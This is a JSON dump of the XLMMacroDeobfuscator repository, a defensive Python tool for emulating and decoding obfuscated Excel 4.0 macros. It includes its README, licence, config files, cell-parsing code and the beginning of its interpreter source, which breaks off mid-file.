[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: ['DissectMalware'] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]\npatreon: # Replace with a single Patreon username\nopen_collective: # Replace with a single Open Collective username\nko_fi: # Replace with a single Ko-fi username\ntidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\ncommunity_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry\nliberapay: # Replace with a single Liberapay username\nissuehunt: # Replace with a single IssueHunt username\notechie: # Replace with a single Otechie username\ncustom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n.idea/\n\nresult/\n\nxyz/\n\n.xyz/"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright 2020 Amirreza Niakanlahiji\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "# XLMMacroDeobfuscator\nXLMMacroDeobfuscator can be used to decode obfuscated XLM macros (also known as Excel 4.0 macros). It utilizes an internal XLM emulator to interpret the macros, without fully performing the code.\n\nIt supports both xls, xlsm, and xlsb formats. \n\nIt uses [xlrd2](https://github.com/DissectMalware/xlrd2), [pyxlsb2](https://github.com/DissectMalware/pyxlsb2) and its own parser to extract cells and other information from xls, xlsb and xlsm files, respectively.\n\nYou can also find XLM grammar in [xlm-macro-lark.template](XLMMacroDeobfuscator/xlm-macro.lark.template)\n\n# Installing the emulator\n\n1. Install using pip\n\n```\npip install XLMMacroDeobfuscator --force\n```\n\nor\n\n```\npip install xlmmacrodeobfuscator[defusedxml] --force\n```\n\n2. Installing the latest development\n\n```\npip install -U https://github.com/DissectMalware/XLMMacroDeobfuscator/archive/master.zip --force\n```\n\n# Running the emulator\nTo deobfuscate macros in Excel documents: \n\n```\nxlmdeobfuscator --file document.xlsm\n```\n\nTo only extract macros in Excel documents (without any deobfuscation): \n\n```\nxlmdeobfuscator --file document.xlsm -x\n```\n\nTo only get the deobfuscated macros and without any indentation:\n\n```\nxlmdeobfuscator --file document.xlsm --no-indent --output-formula-format \"[[INT-FORMULA]]\"\n```\n\nTo export the output in JSON format \n```\nxlmdeobfuscator --file document.xlsm --export-json result.json\n```\nTo see a sample JSON output, please check [this link](https://pastebin.com/bwmS7mi0) out.\n\nTo use a config file\n```\nxlmdeobfuscator --file document.xlsm -c default.config\n```\n\ndefault.config file must be a valid json file, such as:\n\n```json\n{\n\t\"no-indent\": true,\n\t\"output-formula-format\": \"[[CELL-ADDR]] [[INT-FORMULA]]\",\n\t\"non-interactive\": true,\n\t\"output-level\": 1\n}\n```\n\n# Command Line \n\n```\n\n          _        _______\n|\\     /|( \\      (       )\n( \\   / )| (      | () () |\n \\ (_) / | |      | || || |\n  ) _ (  | |      | |(_)| |\n / ( ) \\ | |      | |   | |\n( /   \\ )| (____/\\| )   ( |\n|/     \\|(_______/|/     \\|\n   ______   _______  _______  ______   _______           _______  _______  _______ _________ _______  _______\n  (  __  \\ (  ____ \\(  ___  )(  ___ \\ (  ____ \\|\\     /|(  ____ \\(  ____ \\(  ___  )\\__   __/(  ___  )(  ____ )\n  | (  \\  )| (    \\/| (   ) || (   ) )| (    \\/| )   ( || (    \\/| (    \\/| (   ) |   ) (   | (   ) || (    )|\n  | |   ) || (__    | |   | || (__/ / | (__    | |   | || (_____ | |      | (___) |   | |   | |   | || (____)|\n  | |   | ||  __)   | |   | ||  __ (  |  __)   | |   | |(_____  )| |      |  ___  |   | |   | |   | ||     __)\n  | |   ) || (      | |   | || (  \\ \\ | (      | |   | |      ) || |      | (   ) |   | |   | |   | || (\\ (\n  | (__/  )| (____/\\| (___) || )___) )| )      | (___) |/\\____) || (____/\\| )   ( |   | |   | (___) || ) \\ \\__\n  (______/ (_______/(_______)|/ \\___/ |/       (_______)\\_______)(_______/|/     \\|   )_(   (_______)|/   \\__/\n\n    \nXLMMacroDeobfuscator(v0.2.0) - https://github.com/DissectMalware/XLMMacroDeobfuscator\n\nError: --file is missing\n\nusage: deobfuscator.py [-h] [-c FILE_PATH] [-f FILE_PATH] [-n] [-x]\n                       [--sort-formulas] [--defined-names] [-2]\n                       [--with-ms-excel] [-s] [-d DAY]\n                       [--output-formula-format OUTPUT_FORMULA_FORMAT]\n                       [--extract-formula-format EXTRACT_FORMULA_FORMAT]\n                       [--no-indent] [--silent] [--export-json FILE_PATH]\n                       [--start-point CELL_ADDR] [-p PASSWORD]\n                       [-o OUTPUT_LEVEL] [--timeout N]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c FILE_PATH, --config-file FILE_PATH\n                        Specify a config file (must be a valid JSON file)\n  -f FILE_PATH, --file FILE_PATH\n                        The path of a XLSM file\n  -n, --noninteractive  Disable interactive shell\n  -x, --extract-only    Only extract cells without any emulation\n  --sort-formulas       Sort extracted formulas based on their cell address\n                        (requires -x)\n  --defined-names       Extract all defined names\n  -2, --no-ms-excel     [Deprecated] Do not use MS Excel to process XLS files\n  --with-ms-excel       Use MS Excel to process XLS files\n  -s, --start-with-shell\n                        Open an XLM shell before interpreting the macros in\n                        the input\n  -d DAY, --day DAY     Specify the day of month\n  --output-formula-format OUTPUT_FORMULA_FORMAT\n                        Specify the format for output formulas ([[CELL-ADDR]],\n                        [[INT-FORMULA]], and [[STATUS]]\n  --extract-formula-format EXTRACT_FORMULA_FORMAT\n                        Specify the format for extracted formulas ([[CELL-\n                        ADDR]], [[CELL-FORMULA]], and [[CELL-VALUE]]\n  --no-indent           Do not show indent before formulas\n  --silent              Do not print output\n  --export-json FILE_PATH\n                        Export the output to JSON\n  --start-point CELL_ADDR\n                        Start interpretation from a specific cell address\n  -p PASSWORD, --password PASSWORD\n                        Password to decrypt the protected document\n  -o OUTPUT_LEVEL, --output-level OUTPUT_LEVEL\n                        Set the level of details to be shown (0:all commands,\n                        1: commands no jump 2:important commands 3:strings in\n                        important commands).\n  --timeout N           stop emulation after N seconds (0: not interruption\n                        N>0: stop emulation after N seconds)\n```\n\n# Library\nThe following example shows how XLMMacroDeobfuscator can be used in a python project to deobfuscate XLM macros:\n\n```python\nfrom XLMMacroDeobfuscator.deobfuscator import process_file\n\nresult = process_file(file='path/to/an/excel/file', \n            noninteractive= True, \n            noindent= True, \n            output_formula_format='[[CELL-ADDR]], [[INT-FORMULA]]',\n            return_deobfuscated= True,\n            timeout= 30)\n\nfor record in result:\n    print(record)\n```\n\n* note: the xlmdeofuscator logo will not be shown when you use it as a library\n\n# Requirements\n\nPlease read requirements.txt to get the list of python libraries that XLMMacroDeobfuscator is dependent on.\n\nxlmdeobfuscator can be executed on any OS to extract and deobfuscate macros in xls, xlsm, and xlsb files. You do not need to install MS Excel.\n\nNote: if you want to use MS Excel (on Windows), you need to install pywin32 library and use --with-ms-excel switch.\nIf --with-ms-excel is used, xlmdeobfuscator, first, attempts to load xls files with MS Excel, if it fails it uses [xlrd2 library](https://github.com/DissectMalware/xlrd2).\n\n# Project Using XLMMacroDeofuscator\nXLMMacroDeofuscator is adopted in the following projects:\n* [CAPE Sandbox](https://github.com/ctxis/CAPE)\n* [FAME](https://certsocietegenerale.github.io/fame/)\n* [REMNUX](https://remnux.org/)\n* [IntelOwl](https://github.com/intelowlproject/IntelOwl)\n* [Assemblyline 4](https://cybercentrecanada.github.io/assemblyline4_docs/) by Canadian Centre for Cyber Security \n* [oletools](https://github.com/decalage2/oletools) by [@decalage2](https://twitter.com/decalage2)\n\nPlease contact me if you incorporated XLMMacroDeofuscator in your project.\n\n# How to Contribute\nIf you found a bug or would like to suggest an improvement, please create a new issue on the [issues page](https://github.com/DissectMalware/XLMMacroDeobfuscator/issues).\n\nFeel free to contribute to the project forking the project and submitting a pull request.\n\nYou can reach [me (@DissectMlaware) on Twitter](https://twitter.com/DissectMalware) via a direct message.\n\n"
  },
  {
    "path": "XLMMacroDeobfuscator/__init__.py",
    "content": "__version__ = '0.2.7'\n"
  },
  {
    "path": "XLMMacroDeobfuscator/boundsheet.py",
    "content": "import re\n\n\nclass Cell:\n    _a1_cell_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')!)?\\$?(?P<column>[a-zA-Z]+)\\$?(?P<row>\\d+)\"\n    _a1_cell_addr_regex = re.compile(_a1_cell_addr_regex_str)\n\n    _r1c1_abs_cell_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')!)?R(?P<row>\\d+)C(?P<column>\\d+)\"\n    _r1c1_abs_cell_addr_regex = re.compile(_r1c1_abs_cell_addr_regex_str)\n\n    _r1c1_cell_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')!)?R(\\[?(?P<row>-?\\d+)\\]?)?C(\\[?(?P<column>-?\\d+)\\]?)?\"\n    _r1c1_cell_addr_regex = re.compile(_r1c1_cell_addr_regex_str)\n\n    _range_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')[!|$])?\\$?(?P<column1>[a-zA-Z]+)\\$?(?P<row1>\\d+)\\:?\\$?(?P<column2>[a-zA-Z]+)\\$?(?P<row2>\\d+)\"\n    _range_addr_regex = re.compile(_range_addr_regex_str)\n\n    def __init__(self):\n        self.sheet = None\n        self.column = ''\n        self.row = 0\n        self.formula = None\n        self.value = None\n        self.attributes = {}\n        self.is_set = False\n\n    def get_attribute(self, attribute_name):\n        # return default value if attributes doesn't cointain the attribute_name\n        pass\n    \n    def __deepcopy__(self, memodict={}):\n        copy = type(self)()\n        memodict[id(self)] = copy\n        copy.sheet = self.sheet\n        copy.column = self.column\n        copy.row = self.row\n        copy.formula = self.formula\n        copy.value = self.value\n        copy.attributes = self.attributes\n        return copy\n\n    def get_local_address(self):\n        return self.column + str(self.row)\n\n    def __str__(self):\n        return \"'{}'!{}\".format(self.sheet.name,self.get_local_address())\n\n    @staticmethod\n    def convert_to_column_index(s):\n        number = 0\n        power = 1\n        for character in reversed(s):\n            character = character.upper()\n            digit = ((ord(character) - ord('A'))+1) * power\n            number = number + digit\n            power = power * 26\n\n        return number\n\n    @staticmethod\n    def convert_to_column_name(n):\n        string = \"\"\n        while n > 0:\n            n, remainder = divmod(n - 1, 26)\n            string = chr(ord('A') + remainder) + string\n        return string\n\n    @staticmethod\n    def parse_cell_addr(cell_addr_str):\n        cell_addr_str = cell_addr_str.strip('\\\"')\n        alternate_res = Cell._r1c1_abs_cell_addr_regex.match(cell_addr_str)\n        if alternate_res is not None:\n            sheet_name = alternate_res.group('sheetname')\n            sheet_name = sheet_name.strip('\\'') if sheet_name is not None else sheet_name\n            column = Cell.convert_to_column_name(int(alternate_res.group('column')))\n            row = alternate_res.group('row')\n            return sheet_name, column, row\n        else:\n            res = Cell._a1_cell_addr_regex.match(cell_addr_str)\n            if res is not None:\n                sheet_name = res.group('sheetname')\n                sheet_name = sheet_name.strip('\\'') if sheet_name is not None else sheet_name\n                column = res.group('column')\n                row = res.group('row')\n                return sheet_name, column, row\n            else:\n                return None, None, None\n\n    @staticmethod\n    def parse_range_addr(range_addr_str):\n        res = Cell._range_addr_regex.match(range_addr_str)\n        if res is not None:\n            sheet_name = res.group('sheetname')\n            sheet_name = sheet_name.strip('\\'') if sheet_name is not None else sheet_name\n            startcolumn = res.group('column1')\n            startrow = res.group('row1')\n            endcolumn = res.group('column2')\n            endrow = res.group('row2')\n            return sheet_name, startcolumn, startrow, endcolumn, endrow\n        else:\n            return None, None, None\n\n    @staticmethod\n    def convert_twip_to_point(twips):\n        # A twip is 1/20 of a point\n        point = int(twips) * 0.05\n        return point\n\n    @staticmethod\n    def get_abs_addr(base_addr, offset_addr):\n        _, base_col, base_row = Cell.parse_cell_addr(base_addr)\n        offset_addr_match = Cell._r1c1_cell_addr_regex.match(offset_addr)\n        column_offset = row_offset = 0\n        if offset_addr_match is not None:\n            column_offset = int(offset_addr_match.group('column'))\n            row_offset = int(offset_addr_match.group('row'))\n\n        res_col_index = Cell.convert_to_column_index(base_col) + column_offset\n        res_row_index = int(base_row) + row_offset\n\n        return Cell.convert_to_column_name(res_col_index)+str(res_row_index)\n\n\nclass Boundsheet:\n    def __init__(self, name, type):\n        self.name = name\n        self.type = type\n        self.cells = {}\n        self.row_attributes = {}\n        self.col_attributes = {}\n        self.default_height = None\n\n    def get_row_attribute(self, row, attrib_name):\n        # default values if row doesn't exist in row_attributes\n        pass\n\n    def get_col_attribute(self, col, attrib_name):\n        # default value if row doesn't exist in row_attributes\n\n        pass\n\n\n    def add_cell(self, cell):\n        cell.sheet = self\n        self.cells[cell.get_local_address()] = cell\n\n    def get_cell(self, local_address):\n        result = None\n        if local_address in self.cells:\n            result = self.cells[local_address]\n        return\n\n"
  },
  {
    "path": "XLMMacroDeobfuscator/configs/__init__.py",
    "content": ""
  },
  {
    "path": "XLMMacroDeobfuscator/configs/get_cell.conf",
    "content": "$A$1\n1\n1\n1\n0\n\nGeneral\n1\n0\n0\n0\n0\n0\nTRUE\nFALSE\n25.71\n78.75\nCalibri\n11\nFALSE\nFALSE\nFALSE\n11\n1\nFALSE\nFALSE\n0\n1\n1\nFALSE\nFALSE\n[get.cell.xls]Macro1\nFALSE\n0\n0\n0\n0\n0\n0\nNormal\n\n20.5\n-122.75\n298\n-44\nFALSE\nFALSE\nFALSE\nFALSE\n3\n0\n\n\n\n\n\nFALSE\nRegular\n1\nFALSE\n\n[get.cell.xls]Macro1\n0\n0\nFALSE\nget.cell.xls"
  },
  {
    "path": "XLMMacroDeobfuscator/configs/get_window.conf",
    "content": "[Book1]Sheet1\n1\n0\n0\n800\n600\nFALSE\nTRUE\nTRUE\nTRUE\nTRUE\n0\n1\nFALSE\nFALSE\nFALSE\n1\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\n3\nFALSE\n100\nTRUE\nTRUE\n0.6\nTRUE\n[Book1]Sheet1\nwindow.xls\n"
  },
  {
    "path": "XLMMacroDeobfuscator/configs/get_workspace.conf",
    "content": "Windows (64-bit) NT :.00\n16\n0\nFALSE\nTRUE\nTRUE\nTRUE\nTRUE\n/\n0\n-5\n-6\n1016.25\n480\n3\n\n\nTRUE\nTRUE\n\nTRUE\n0\nC:\\Users\\user\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\n\nFALSE\nWindows User\n\n1\nFALSE\n\nFALSE\nC:\\Program Files\\Microsoft Office\\Office16\nWorksheet\n\nFALSE\nTRUE\n1\n1\n\nTRUE\n\nTRUE\nTRUE\n\nFALSE\nTRUE\n\nC:\\Program Files\\Microsoft Office\\Office16\\LIBRARY\n\nFALSE\nFALSE\nFALSE\n\nTRUE\nTRUE\nCalibri\n11\nTRUE\nFALSE\nFALSE\n4\n\n1\nTRUE\nTRUE\n1\nC:\\Users\\user\\Documents\nTRUE\nTRUE\nFALSE\nFALSE\nTRUE\n"
  },
  {
    "path": "XLMMacroDeobfuscator/configs/settings.py",
    "content": "\"\"\"\nConfiguration settings for XLMMacroDeobfuscator\n\"\"\"\n\nSILENT = False  # Turn logging on/off globally\n"
  },
  {
    "path": "XLMMacroDeobfuscator/deobfuscator.py",
    "content": "import argparse\nimport base64\nimport copy\nimport datetime\nimport hashlib\nimport json\nimport linecache\nimport math\nimport msoffcrypto\nimport operator\nimport os\nimport random\nimport sys\nimport time\nimport roman\n\n\nfrom enum import Enum\nfrom lark import Lark\nfrom lark.exceptions import ParseError\nfrom lark.lexer import Token\nfrom lark.tree import Tree\nfrom tempfile import mkstemp\n\nfrom XLMMacroDeobfuscator.__init__ import __version__\nfrom XLMMacroDeobfuscator.configs.settings import SILENT\nfrom XLMMacroDeobfuscator.excel_wrapper import XlApplicationInternational\nfrom XLMMacroDeobfuscator.xlsm_wrapper import XLSMWrapper\n\ntry:\n    from XLMMacroDeobfuscator.xls_wrapper import XLSWrapper\n\n    HAS_XLSWrapper = True\nexcept:\n    HAS_XLSWrapper = False\n    if not SILENT:\n        print('XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)')\n\nfrom XLMMacroDeobfuscator.xls_wrapper_2 import XLSWrapper2\nfrom XLMMacroDeobfuscator.xlsb_wrapper import XLSBWrapper\nfrom XLMMacroDeobfuscator.boundsheet import *\nfrom distutils.util import strtobool\n\n\nclass EvalStatus(Enum):\n    FullEvaluation = 1\n    PartialEvaluation = 2\n    Error = 3\n    NotImplemented = 4\n    End = 5\n    Branching = 6\n    FullBranching = 7\n    IGNORED = 8\n\n\nclass EvalResult:\n    def __init__(self, next_cell, status, value, text):\n        self.next_cell = next_cell\n        self.status = status\n        self.value = value\n        self.text = None\n        self.output_level = 0\n        self.set_text(text)\n\n    @staticmethod\n    def is_int(text):\n        try:\n            int(text)\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def is_float(text):\n        try:\n            float(text)\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def is_datetime(text):\n        try:\n            datetime.datetime.strptime(text, \"%Y-%m-%d %H:%M:%S.%f\")\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def is_time(text):\n        try:\n            datetime.datetime.strptime(text, \"%H:%M:%S\")\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def unwrap_str_literal(string):\n        result = str(string)\n        if len(result) > 1 and result.startswith('\"') and result.endswith('\"'):\n            result = result[1:-1].replace('\"\"', '\"')\n        return result\n\n    @staticmethod\n    def wrap_str_literal(data, must_wrap=False):\n        result = ''\n        if EvalResult.is_float(data) or (len(data) > 1 and data.startswith('\"') and data.endswith('\"') and must_wrap is False):\n            result = str(data)\n        elif type(data) is float:\n            if data.is_integer():\n                data = int(data)\n            result = str(data)\n        elif type(data) is int or type(data) is bool:\n            result = str(data)\n        else:\n            result = '\"{}\"'.format(data.replace('\"', '\"\"'))\n        return result\n\n    def get_text(self, unwrap=False):\n        result = ''\n        if self.text is not None:\n\n            if self.is_float(self.text):\n                self.text = float(self.text)\n                if self.text.is_integer():\n                    self.text = int(self.text)\n                    self.text = str(self.text)\n\n            if unwrap:\n                result = self.unwrap_str_literal(self.text)\n            else:\n                result = str(self.text)\n\n        return result\n\n    def set_text(self, data, wrap=False):\n        if data is not None:\n            if wrap:\n                self.text = self.wrap_str_literal(data)\n            else:\n                self.text = str(data)\n\n\nclass XLMInterpreter:\n    def __init__(self, xlm_wrapper, output_level=0):\n        self.xlm_wrapper = xlm_wrapper\n        self._formula_cache = {}\n        self.cell_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')!)?\\$?(?P<column>[a-zA-Z]+)\\$?(?P<row>\\d+)\"\n        self.cell_addr_regex = re.compile(self.cell_addr_regex_str)\n        self.xlm_parser = self.get_parser()\n        self.defined_names = self.xlm_wrapper.get_defined_names()\n        self.auto_labels = None\n        self._branch_stack = []\n        self._while_stack = []\n        self._for_iterators = {}\n        self._function_call_stack = []\n        self._memory = []\n        self._files = {}\n        self._registered_functions = {}\n        self._workspace_defaults = {}\n        self._window_defaults = {}\n        self._cell_defaults = {}\n        self._expr_rule_names = ['expression', 'concat_expression', 'additive_expression', 'multiplicative_expression']\n        self._operators = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv,\n                           '>': operator.gt, '<': operator.lt, '<>': operator.ne, '=': operator.eq, '>=': operator.ge,\n                           '<=': operator.le}\n        self._indent_level = 0\n        self._indent_current_line = False\n        self.day_of_month = None\n        self.invoke_interpreter = False\n        self.first_unknown_cell = None\n        self.cell_with_unsuccessfull_set = set()\n        self.selected_range = None\n        self.active_cell = None\n        self.ignore_processing = False\n        self.next_count = 0\n        self.char_error_count = 0\n        self.output_level = output_level\n        self._remove_current_formula_from_cache = False\n        self._start_timestamp = time.time()\n        self._iserror_count = 0\n        self._iserror_loc = None\n        self._iserror_val = False\n        self._now_count = 0\n        self._now_step = 2\n\n        self._handlers = {\n            # methods\n            'END.IF': self.end_if_handler,\n            'FORMULA.FILL': self.formula_fill_handler,\n            'FORMULA.ARRAY': self.formula_array_handler,\n            'GET.CELL': self.get_cell_handler,\n            'GET.DOCUMENT': self.get_document_handler,\n            'GET.WINDOW': self.get_window_handler,\n            'GET.WORKSPACE': self.get_workspace_handler,\n            'ON.TIME': self.on_time_handler,\n            'SET.VALUE': self.set_value_handler,\n            'SET.NAME': self.set_name_handler,\n            'ACTIVE.CELL': self.active_cell_handler,\n            